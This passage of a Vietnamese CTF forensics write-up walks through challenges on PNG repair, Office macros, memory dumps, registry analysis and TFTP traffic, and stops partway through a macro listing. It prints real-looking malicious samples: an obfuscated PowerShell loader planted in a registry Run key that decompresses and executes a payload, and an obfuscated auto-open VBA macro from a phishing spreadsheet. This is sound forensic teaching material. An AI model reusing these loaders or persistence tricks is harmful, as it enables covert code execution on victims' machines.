B4NTAgMHg0YiAweDEgMHgyIDB4MWUgMHgzIDB4YSAweDAgMHg5IDB4MCAweDAgMHgwIDB4YyAweDdlIDB4YzcgMHg1NiAweGJmIDB4ZjkgMHgyNyAweGJiIDB4MjAgMHgwIDB4MCAweDAgMHgxNCAweDAgMHgwIDB4MCAweDggMHgwIDB4MTggMHgwIDB4MCAweDAgMHgwIDB4MCAweDEgMHgwIDB4MCAweDAgMHhhNCAweDgxIDB4MCAweDAgMHgwIDB4MCAweDY2IDB4NmMgMHg2MSAweDY3IDB4MmUgMHg3NCAweDc4IDB4NzQgMHg1NSAweDU0IDB4NSAweDAgMHgzIDB4NTggMHg0NCAweDgwIDB4NjQgMHg3NSAweDc4IDB4YiAweDAgMHgxIDB4NCAweGU4IDB4MyAweDAgMHgwIDB4NCAweGU4IDB4MyAweDAgMHgwIDB4NTAgMHg0YiAweDUgMHg2IDB4MCAweDAgMHgwIDB4MCAweDEgMHgwIDB4MSAweDAgMHg0ZSAweDAgMHgwIDB4MCAweDcyIDB4MCAweDAgMHgwIDB4MCAweDAgMHg1MCAweDRiIDB4MyAweDQgMHhhIDB4MCAweDkgMHgwIDB4MCAweDAgMHhjIDB4N2UgMHhjNyAweDU2IDB4YmYgMHhmOSAweDI3IDB4YmIgMHgyMCAweDAgMHgwIDB4MCAweDE0IDB4MCAweDAgMHgwIDB4OCAweDAgMHgxYyAweDAgMHg2NiAweDZjIDB4NjEgMHg2NyAweDJlIDB4NzQgMHg3OCAweDc0IDB4NTUgMHg1NCAweDkgMHgwIDB4MyAweDU4IDB4NDQgMHg4MCAweDY0IDB4ODYgMHg0NCAweDgwIDB4NjQgMHg3NSAweDc4IDB4YiAweDAgMHgxIDB4NCAweGU4IDB4MyAweDAgMHgwIDB4NCAweGU4IDB4MyAweDAgMHgwIDB4ZGEgMHg3MiAweDE1IDB4NzYgMHgzNCAweDllIDB4ZjEgMHg3ZCAweDQ4IDB4ZGUgMHg0MiAweDFhIDB4ZjMgMHg2MyAweDViIDB4YzggMHgzZiAweDc4IDB4YjkgMHg0NSAweDUxIDB4NmUgMHg3YiAweGVmIDB4YTUgMHhmNSAweGQ5IDB4ZWIgMHg4NSAweGQ0IDB4ODEgMHgxNiAweDUwIDB4NGIgMHg3IDB4OCAweGJmIDB4ZjkgMHgyNyAweGJiIDB4MjAgMHgwIDB4MCAweDAgMHgxNCAweDAgMHgwIDB4MCAweDUwIDB4NGIgMHgxIDB4MiAweDFlIDB4MyAweGEgMHgwIDB4OSAweDAgMHgwIDB4MCAweGMgMHg3ZSAweGM3IDB4NTYgMHhiZiAweGY5IDB4MjcgMHhiYiAweDIwIDB4MCAweDAgMHgwIDB4MTQgMHgwIDB4MCAweDAgMHg4IDB4MCAweDE4IDB4MCAweDAgMHgwIDB4MCAweDAgMHgxIDB4MCAweDAgMHgwIDB4YTQgMHg4MSAweDAgMHgwIDB4MCAweDAgMHg2NiAweDZjIDB4NjEgMHg2NyAweDJlIDB4NzQgMHg3OCAweDc0IDB4NTUgMHg1NCAweDUgMHgwIDB4MyAweDU4IDB4NDQgMHg4MCAweDY0IDB4NzUgMHg3OCAweGIgMHgwIDB4MSAweDQgMHhlOCAweDMgMHgwIDB4MCAweDQgMHhlOCAweDMgMHgwIDB4MCAweDUwIDB4NGIgMHg1IDB4NiAweDAgMHgwIDB4MCAweDAgMHgxIDB4MCAweDEgMHgwIDB4NGUgMHgwIDB4MCAweDAgMHg3MiAweDAgMHgwIDB4MCAweDAgMHgwIDB4NTAgMHg0YiAweDMgMHg0IDB4YSAweDAgMHg5IDB4MCAweDAgMHgwIDB4YyAweDdlIDB4YzcgMHg1NiAweGJmIDB4ZjkgMHgyNyAweGJiIDB4MjAgMHgwIDB4MCAweDAgMHgxNCAweDAgMHgwIDB4MCAweDggMHgwIDB4MWMgMHgwIDB4NjYgMHg2YyAweDYxIDB4NjcgMHgyZSAweDc0IDB4NzggMHg3NCAweDU1IDB4NTQgMHg5IDB4MCAweDMgMHg1OCAweDQ0IDB4ODAgMHg2NCAweDg2IDB4NDQgMHg4MCAweDY0IDB4NzUgMHg3OCAweGIgMHgwIDB4MSAweDQgMHhlOCAweDMgMHgwIDB4MCAweDQgMHhlOCAweDMgMHgwIDB4MCAweGRhIDB4NzIgMHgxNSAweDc2IDB4MzQgMHg5ZSAweGYxIDB4N2QgMHg0OCAweGRlIDB4NDIgMHgxYSAweGYzIDB4NjMgMHg1YiAweGM4IDB4M2YgMHg3OCAweGI5IDB4NDUgMHg1MSAweDZlIDB4N2IgMHhlZiAweGE1IDB4ZjUgMHhkOSAweGViIDB4ODUgMHhkNCAweDgxIDB4MTYgMHg1MCAweDRiIDB4NyAweDggMHhiZiAweGY5IDB4MjcgMHhiYiAweDIwIDB4MCAweDAgMHgwIDB4MTQgMHgwIDB4MCAweDAgMHg1MCAweDRiIDB4MSAweDIgMHgxZSAweDMgMHhhIDB4MCAweDkgMHgwIDB4MCAweDAgMHhjIDB4N2UgMHhjNyAweDU2IDB4YmYgMHhmOSAweDI3IDB4YmIgMHgyMCAweDAgMHgwIDB4MCAweDE0IDB4MCAweDAgMHgwIDB4OCAweDAgMHgxOCAweDAgMHgwIDB4MCAweDAgMHgwIDB4MSAweDAgMHgwIDB4MCAweGE0IDB4ODEgMHgwIDB4MCAweDAgMHgwIDB4NjYgMHg2YyAweDYxIDB4NjcgMHgyZSAweDc0IDB4NzggMHg3NCAweDU1IDB4NTQgMHg1IDB4MCAweDMgMHg1OCAweDQ0IDB4ODAgMHg2NCAweDc1IDB4NzggMHhiIDB4MCAweDEgMHg0IDB4ZTggMHgzIDB4MCAweDAgMHg0IDB4ZTggMHgzIDB4MCAweDAgMHg1MCAweDRiIDB4NSAweDYgMHgwIDB4MCAweDAgMHgwIDB4MSAweDAgMHgxIDB4MCAweDRlIDB4MCAweDAgMHgwIDB4NzIgMHgwIDB4MCAweDAgMHgwIDB4MCAweDUwIDB4NGIgMHgzIDB4NCAweGEgMHgwIDB4OSAweDAgMHgwIDB4MCAweGMgMHg3ZSAweGM3IDB4NTYgMHhiZiAweGY5IDB4MjcgMHhiYiAweDIwIDB4MCAweDAgMHgwIDB4MTQgMHgwIDB4MCAweDAgMHg4IDB4MCAweDFjIDB4MCAweDY2IDB4NmMgMHg2MSAweDY3IDB4MmUgMHg3NCAweDc4IDB4NzQgMHg1NSAweDU0IDB4OSAweDAgMHgzIDB4NTggMHg0NCAweDgwIDB4NjQgMHg4NiAweDQ0IDB4ODAgMHg2NCAweDc1IDB4NzggMHhiIDB4MCAweDEgMHg0IDB4ZTggMHgzIDB4MCAweDAgMHg0IDB4ZTggMHgzIDB4MCAweDAgMHhkYSAweDcyIDB4MTUgMHg3NiAweDM0IDB4OWUgMHhmMSAweDdkIDB4NDggMHhkZSAweDQyIDB4MWEgMHhmMyAweDYzIDB4NWIgMHhjOCAweDNmIDB4NzggMHhiOSAweDQ1IDB4NTEgMHg2ZSAweDdiIDB4ZWYgMHhhNSAweGY1IDB4ZDkgMHhlYiAweDg1IDB4ZDQgMHg4MSAweDE2IDB4NTAgMHg0YiAweDcgMHg4IDB4YmYgMHhmOSAweDI3IDB4YmIgMHgyMCAweDAgMHgwIDB4MCAweDE0IDB4MCAweDAgMHgwIDB4NTAgMHg0YiAweDEgMHgyIDB4MWUgMHgzIDB4YSAweDAgMHg5IDB4MCAweDAgMHgwIDB4YyAweDdlIDB4YzcgMHg1NiAweGJmIDB4ZjkgMHgyNyAweGJiIDB4MjAgMHgwIDB4MCAweDAgMHgxNCAweDAgMHgwIDB4MCAweDggMHgwIDB4MTggMHgwIDB4MCAweDAgMHgwIDB4MCAweDEgMHgwIDB4MCAweDAgMHhhNCAweDgxIDB4MCAweDAgMHgwIDB4MCAweDY2IDB4NmMgMHg2MSAweDY3IDB4MmUgMHg3NCAweDc4IDB4NzQgMHg1NSAweDU0IDB4NSAweDAgMHgzIDB4NTggMHg0NCAweDgwIDB4NjQgMHg3NSAweDc4IDB4YiAweDAgMHgxIDB4NCAweGU4IDB4MyAweDAgMHgwIDB4NCAweGU4IDB4MyAweDAgMHgwIDB4NTAgMHg0YiAweDUgMHg2IDB4MCAweDAgMHgwIDB4MCAweDEgMHgwIDB4MSAweDAgMHg0ZSAweDAgMHgwIDB4MCAweDcyIDB4MCAweDAgMHgwIDB4MCAweDAgMHg1MCAweDRiIDB4MyAweDQgMHhhIDB4MCAweDkgMHgwIDB4MCAweDAgMHhjIDB4N2UgMHhjNyAweDU2IDB4YmYgMHhmOSAweDI3IDB4YmIgMHgyMCAweDAgMHgwIDB4MCAweDE0IDB4MCAweDAgMHgwIDB4OCAweDA) decode thử, thì đây là file zip nè. Mình download về mở thì cần mật khẩu. Mình nhớ đến cái chuỗi kì lạ ban đầu lúc exiftool. pass: `y0u_c4n_n0t_cr4ck_th1s_f1l3_w1th_th3_d3f4ut_w0rdl1st_0n_k4l1` Mình mở được file flag.txt để lấy flag --- # 0x0 - ********************File: legit.png******************** *Description: Gần đây trong một sự cố, chúng tôi phát hiện kẻ tấn công đã đánh cắp dữ liệu của chúng tôi bằng cách nhúng nó vào trong một tệp hình ảnh và sử dụng các chức năng upload để đưa dữ liệu ra khỏi hệ thống của chúng tôi một cách an toàn. Bạn có thể tìm xem dữ liệu được ẩn giấu là gì không?* File này đã bị corrupt, kích thước không đúng (0x0) nên mình sẽ dựa vào checksum của chunk IHDR để bruteforce dimension của ảnh. Link tham khảo srcipt: https://github.com/cjharris18/png-dimensions-bruteforcer ![Untitled 15](https://hackmd.io/_uploads/SkOcr13w6.png) --- # SS2-Tin học văn phòng - ********************File: Challenge.doc******************** *Description: Sau khi tham gia một khóa Tin học văn phòng cơ bản, Hòa đã có thể tự tạo một tệp tài liệu độc hại và anh ta có ý định sẽ dùng nó để hack cả thế giới* Bài này chỉ là về marco thôi, mình dùng `olevba <filename>` để extract marco từ file doc là được. --- # SS2- Báo cáo đang dở - ********************File: MEMORY.DMP .raw, .mem******************** *Description: Hòa đang làm báo cáo bài tập lớn để nộp cho thầy giáo thì bỗng nhiên máy tính của anh ấy bị tắt đột ngột do mất điện mà anh ấy thì chưa kịp lưu báo cáo một lần nào. Tuy nhiên sau đó, thay vì viết báo cáo mới thì Hòa đã chọn cách dành ra 4h đồng hồ để khôi phục báo cáo ban đầu từ tệp crash dump nhưng cuối cùng vẫn thất bại. Hòa thực sự đang cần trợ giúp.* Đây là một bài về memory, nên là mình sẽ dùng framework Volatilty 3 để làm bài này. Đầu tiên xem các tiến trình. ``` 4 0 System 0xfa80024bb840 90 512 N/A False 2023-05-31 18:18:24.000000 N/A Disabled 268 4 smss.exe 0xfa8002c5e400 2 30 N/A False 2023-05-31 18:18:24.000000 N/A Disabled 356 340 csrss.exe 0xfa80037e7060 9 451 0 False 2023-05-31 18:18:26.000000 N/A Disabled 440 340 wininit.exe 0xfa8003a68060 3 79 0 False 2023-05-31 18:18:26.000000 N/A Disabled 460 448 csrss.exe 0xfa8003a67060 10 231 1 False 2023-05-31 18:18:26.000000 N/A Disabled 520 448 winlogon.exe 0xfa8003ab6700 3 111 1 False 2023-05-31 18:18:26.000000 N/A Disabled 528 440 services.exe 0xfa8003ab7810 7 207 0 False 2023-05-31 18:18:26.000000 N/A Disabled 564 440 lsass.exe 0xfa8003aeab30 9 570 0 False 2023-05-31 18:18:26.000000 N/A Disabled 572 440 lsm.exe 0xfa8003aec810 10 144 0 False 2023-05-31 18:18:26.000000 N/A Disabled 672 528 svchost.exe 0xfa8003b6e3c0 10 356 0 False 2023-05-31 18:18:27.000000 N/A Disabled 732 528 vmacthlp.exe 0xfa8003b9fb30 3 56 0 False 2023-05-31 18:18:27.000000 N/A Disabled 768 528 svchost.exe 0xfa8003bd3b30 9 292 0 False 2023-05-31 18:18:27.000000 N/A Disabled 868 528 svchost.exe 0xfa8003c18060 20 480 0 False 2023-05-31 18:18:27.000000 N/A Disabled 924 528 svchost.exe 0xfa8003c52b30 16 377 0 False 2023-05-31 18:18:27.000000 N/A Disabled 952 528 svchost.exe 0xfa8003c613a0 42 1036 0 False 2023-05-31 18:18:27.000000 N/A Disabled 400 528 svchost.exe 0xfa8003cb24b0 12 542 0 False 2023-05-31 18:18:27.000000 N/A Disabled 856 528 svchost.exe 0xfa8003ce3b30 15 364 0 False 2023-05-31 18:18:27.000000 N/A Disabled 1116 528 spoolsv.exe 0xfa8003d6f250 15 338 0 False 2023-05-31 18:18:27.000000 N/A Disabled 1148 528 svchost.exe 0xfa8003d91b30 19 316 0 False 2023-05-31 18:18:27.000000 N/A Disabled 1340 924 dwm.exe 0xfa8003e38b30 5 124 1 False 2023-05-31 18:18:28.000000 N/A Disabled 1372 1304 explorer.exe 0xfa8003e64960 39 1058 1 False 2023-05-31 18:18:28.000000 N/A Disabled 1472 528 taskhost.exe 0xfa8003ea8410 8 145 1 False 2023-05-31 18:18:28.000000 N/A Disabled 1544 528 VGAuthService. 0xfa8003f23b30 3 85 0 False 2023-05-31 18:18:28.000000 N/A Disabled 1684 528 vmtoolsd.exe 0xfa8003f6f200 9 293 0 False 2023-05-31 18:18:28.000000 N/A Disabled 1928 1372 vmtoolsd.exe 0xfa800407db30 6 186 1 False 2023-05-31 18:18:29.000000 N/A Disabled 1288 528 svchost.exe 0xfa8004087060 5 103 0 False 2023-05-31 18:18:29.000000 N/A Disabled 1316 672 WmiPrvSE.exe 0xfa8004b03060 10 211 0 False 2023-05-31 18:18:29.000000 N/A Disabled 2136 528 dllhost.exe 0xfa8004b05b30 15 207 0 False 2023-05-31 18:18:29.000000 N/A Disabled 2288 528 msdtc.exe 0xfa8004480b30 14 154 0 False 2023-05-31 18:18:30.000000 N/A Disabled 2564 528 SearchIndexer. 0xfa80045344a0 13 616 0 False 2023-05-31 18:18:34.000000 N/A Disabled 2844 672 WmiPrvSE.exe 0xfa80045b8530 10 239 0 False 2023-05-31 18:18:49.000000 N/A Disabled 1736 1372 WINWORD.EXE 0xfa8003a6e060 13 443 1 False 2023-05-31 18:20:18.000000 N/A Disabled 2792 528 svchost.exe 0xfa8003c86920 5 74 0 False 2023-05-31 18:20:18.000000 N/A Disabled 2956 528 OSPPSVC.EXE 0xfa8003fcab30 3 129 0 False 2023-05-31 18:20:19.000000 N/A Disabled 1916 528 svchost.exe 0xfa8003f83b30 12 321 0 False 2023-05-31 18:20:29.000000 N/A Disabled 2484 868 audiodg.exe 0xfa8003c83b30 6 136 0 False 2023-05-31 18:26:32.000000 N/A Disabled 1076 2228 taskmgr.exe 0xfa8004103b30 9 121 1 False 2023-05-31 18:27:43.000000 N/A Disabled ``` Theo mô tả là đang tìm lại bài báo cáo đang dở, có một process khá thú vị là WINWORD.EXE với PID là 1736, đây là đang chạy ms word, nên mình sẽ dump tiến trình này ra. Ở data section, có một file `AutoRecovery save of Document1.asd` , đây là cơ chế tự động phục hồi của MS word, nên có khả năng là bài báo cáo đã được tự động phực hồi ở đây, nên mình sẽ binwalk để xem thử nội dung. Ở path `_file.0xfa80041e2070.0xfa8003d7b6d0.DataSectionObject.AutoRecovery save of Document1.asd.dat.extracted\word\media` có 2 ảnh, và một ảnh chứa flag. ![image2](https://hackmd.io/_uploads/Sk4W8Jhwp.png) --- # SS2 - Sổ đăng kí - ********************File: NTUSER.DAT******************** Description: *Hòa thấy hiện tượng lạ mỗi khi anh ta khởi động máy tính. Anh ta nghĩ rằng việc tải các video không lành mạnh gần đây đã khiến máy tính của anh ta bị hack.* Đề cho chúng ta file NTUSER.DAT, đầu tiên cần biết file này là file gì. ![Untitled 16](https://hackmd.io/_uploads/r14MIkhvp.png) (Web này cung cấp những thông tin cơ bản về: [Window Registry](https://winreg-kb.readthedocs.io/en/latest/sources/windows-registry/Files.html) , hoặc có một blog bằng tiếng việt: [blog](https://sec.vnpt.vn/2021/04/windows-forensic-registry-analysis-part1/) ) Là file registry nên mình cần dùng Registry Explorer trên windows, hoặc là dùng regripper để phân tích, tuy nhiên mình không load được lên Registry Explorer nên mình sẽ dùng [regripper](https://manpages.ubuntu.com/manpages/jammy/man1/regripper.1.html). Parse file: `regripper -r /path/to/Cookie/SS2/arenas2-forensics-so-dang-ki/NTUSER.DAT -f ntuser > parsed.txt` Mình chuyển hướng vào file text cho dễ phân tích. Ở Key `Software\Microsoft\Windows\CurrentVersion\Run` ( nơi lưu giá trị là các file thực thi được khởi động tự động khi user đăng nhập) ```Software\Microsoft\Windows\CurrentVersion\Run LastWrite Time 2023-05-25 03:55:25Z Updater - "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "(neW-obJEct io.COMprEssIon.dEFlATesTReAm( [sySTem.IO.memorYSTREam] [coNVeRT]::FRoMBAse64stRInG( 'TVFva4JAGP8qh7hxx/IwzbaSBZtsKwiLGexFhJg+pMs09AmL6rvP03S9uoe739/nZD+OIEHySmwolNn6F3wkzilH2HEbkDupvwXM+cKaWxWSSt2Bxrv9F64ZOteepU5vYOjMlHPMwNuVQnItyb8AneqOMnO5PiEsVytZnHkJUjnvG4ZuXB7O6tUswigGSuVI0Gsh/g1eQGt8h6gdUo98CskGQ8aIkgBR2dmUAw+9kkfvCiiL0x5sbwdNlQUckb851mTykfhpECUbdstXjo2LMIlEE0iCtedvhWgER1I7aKPHLrmQ2QGVmkbuoFoVvOE9Eckaj8+26vbcTeomqptjL3OLUM/0q1Q+030RMD73MBTYEZFuSmUMYbpEERduSVfDYZW8SvwuktJ/33bx/CeLEGirU7Zp52ZpLfYzPuQhZVez+SsrTnOg7A8='), [SYSTEM.iO.ComPReSSion.CoMPrEsSIonmODe]::DeCOmpresS)|FOREAcH-object{ neW-obJEct io.streAMrEadeR( $_,[sysTem.TExt.EnCoDING]::asCIi )}).reaDToEnD()|inVOKe-exprEsSIon" ``` Có thể thấy là powershell chạy câu lệnh rất đáng nghi, decode bằng [cyberchef](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Raw_Inflate(0,0,'Adaptive',false,false)&input=VFZGdmE0SkFHUDhxaDdoeHgvSXd6YmFTQlp0c0t3aUxHZXhGaEpnK3BNczA5QW1MNnJ2UDAzUzl1b2U3MzkvblpEK09JRUh5U213b2xObjZGM3dremlsSDJIRWJrRHVwdndYTStjS2FXeFdTU3QyQnhydjlGNjRaT3RlZXBVNXZZT2pNbEhQTXdOdVZRbkl0eWI4QW5lcU9Nbk81UGlFc1Z5dFpuSGtKVWpudkc0WnVYQjdPNnRVc3dpZ0dTdVZJMEdzaC9nMWVRR3Q4aDZnZFVvOThDc2tHUThhSWtnQlIyZG1VQXcrOWtrZnZDaWlMMHg1c2J3ZE5sUVVja2I4NTFtVHlrZmhwRUNVYmRzdFhqbzJMTUlsRUUwaUN0ZWR2aFdnRVIxSTdhS1BITHJtUTJRR1Zta2J1b0ZvVnZPRTlFY2thajgrMjZ2YmNUZW9tcXB0akwzT0xVTS8wcTFRKzAzMFJNRDczTUJUWUVaRnVTbVVNWWJwRUVSZHVTVmZEWVpXOFN2d3VrdEovMzNieC9DZUxFR2lyVTdacDUyWnBMZll6UHVRaFpWZXorU3NyVG5PZzdBOD0) , chúng ta sẽ có kết quả như thế này ![Untitled 17](https://hackmd.io/_uploads/SyWd813D6.png) --- # SS2- TrivialFTP - ********************File: trivialFTP.pcapng******************** *Description: Việc những nhân viên của một công ty X sử dụng các giao thức không an toàn để kết nối và truyền tải tập tin từ xa đã tạo cơ hội cho những kẻ tấn công Man in the Middle và đánh cắp dữ liệu quan trọng của công ty* Dựa vào tên của challenge này mình sẽ filter `tftp` lên xem sao, thì thấy một packet như thế này. Sau khi google các kiểu thì mình tìm một blog nói khá dễ hiểu về [TFTP](http://isp.vsi.ru/library/Networking/TCPIPIllustrated/tftp_tri.htm) protocol, và đặc biệt và nó dùng udp protocol để truyền dữ liệu, nên là mình sẽ filter lên cho dễ xem. ![Untitled 18](https://hackmd.io/_uploads/Bk3_U13Pp.png) Có thể thấy là file `flag.pdf` được truyền với kiểu là netascii. Như đã nói thì truyền dữ liệu bằng UDP nên mình sẽ filter lại và bắt đầu xem từ packets 2973 trở đi. Nếu các bạn đọc link mình đính kèm ở trên về TFTP thì sẽ thấy là mỗi packets truyền đi sẽ có độ dài 516, trong đó 2 byte đầu tiên là opcode, 2 byte tiếp theo là block number và data là 512 bytes. Dữ liệu sẽ được truyền theo từng block như vậy cho đến khi có block data nhỏ hơn 512 bytes là tín hiệu kết thúc. Về opcode thì opcode = 3 chính là packets truyền data. Vậy nên filer bây giờ sẽ là `udp && ip.src == 192.168.25.135 && ip.dst == 192.168.25.1` Packet cuối cùng có độ dài data nhỏ hơn 512 bytes ![Untitled 19](https://hackmd.io/_uploads/H19n8khwT.png) packet cuối cùng có độ dài data nhỏ hơn 512 Dùng tshark để extract data: ```bash tshark -r /path/to/file.pcapng -Y "udp && ip.src == 192.168.25.135 && ip.dst == 192.168.25.1" -T fields -e data.data > data.txt ``` Sau đó là viết script để loại bỏ 4 bytes header đi, và khôi phục file pdf ```bash data="" with open(r"arenas2-forensics-trivialFTP\output.txt", "r") as file: data=file.read() with open(r"arenas2-forensics-trivialFTP\flag.pdf", "wb") as file: lines = data.splitlines() for line in lines: line=line.strip() file.write(bytes.fromhex(line)) ``` Tuy nhiên, lúc mình viết chạy script này thì file pdf của mình bị lỗi. Fix hồi lâu vẫn không khôi phục được, mình đổi sang cố gắng extract data từ file pdf bị lỗi đó nhưng vô dụng. Đến cuối cùng thì mình biết mình đã bỏ một thông tin quan trọng là netsacii. ![image](https://hackmd.io/_uploads/HJDRUk3Pa.png) Cre: wikipedia Theo như trên ảnh thì null = 0x00, kí tự xuống dòng(LF) = 0x0A và kí tự đầu dòng (CR) = 0x0D Và bất kì kí CR nào cũng phải kèm theo null hoặc LF, có nghĩa là data được padding thêm 0x00 hoặc 0x0A. do đó cần thêm một chút code vào script xử lí data ở trên. ```bash line = lline.strip().replace('0d0a','0a').replace('0d00','0d') ``` Như vậy là mở được file `flag.pdf` và có flag. # SS2 - Under Control - ********************File: NoStarWhere.pcapng******************** *Description: Sau khi mẫu tài liệu độc hại của Hòa bị các nhà phân tích từ Cookie Arena mổ xẻ và mỉa mai là quá đơn giản, Hòa quyết tâm tham gia tiếp một khóa Tin học văn phòng nâng cao để tạo ra một mẫu mã độc phức tạp hơn. Sau đó, Hòa thử nghiệm mẫu mã độc mới bằng cách đính kèm vào email phishing cho thầy giáo của mình. Cuối cùng Hòa chiếm quyền điều khiển thành công máy tính của thầy giáo và thậm chí còn đánh cắp được tập bài kiểm tra cuối kì sắp tới.* Dùng tshark để export object từ protocol HTTP: `tshark -r NoStarWhere.pcapng --export-object "http,./"` File `Danh%20s%C3%A1ch%20ph%C3%B2ng%20thi.xls` đang cố gắng chạy một lệnh gì đó trong hệ thống (để an toàn thì nên làm ở máy ảo), nên mình sẽ dùng `oletools` để xem marco của nó. `olevba Danh%20s%C3%A1ch%20ph%C3%B2ng%20thi.xls > ./macro.txt` ``` VBA MACRO Module1.vba in file: Danh%20s%C3%A1ch%20ph%C3%B2ng%20thi.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/Module1' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Sub Auto_Open() Workbook_Open End Sub Sub AutoOpen() Workbook_Open End Sub Sub WorkbookOpen() Workbook_Open End Sub Sub Document_Open() Workbook_Open End Sub Sub DocumentOpen() Workbook_Open End Sub Function ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨) ¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»· = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥" »¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢ = "ãXL1lYU~Ùä,Ca²ZfÃ@dO-cq³áÕsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(ÒSw|T*Â$EåyhiÚx65Dà¿2ÁÔ" For y = 1 To Len(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨) ¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬¯¨³³¿¯© = InStr(¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·, Mid(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨, y, 1)) If ¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬¯¨³³¿¯© > 0 Then ¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®« = Mid(»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢, ¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬¯¨³³¿¯©, 1) ¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£» = ¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£» + ¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®« Else ¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£» = ¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£» + Mid(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨, y, 1) End If Next ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨ = ¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£» For ³§½¢º¹¸°¾»´¦§¢·¬»´¦³²¦¦·°¶¥°¯¾µ·§½µº¦¶»¹²¥¦¥·²¢¥³°§°¹¾¾£½©¼°¥«ª§¡¹¶° = 1 To 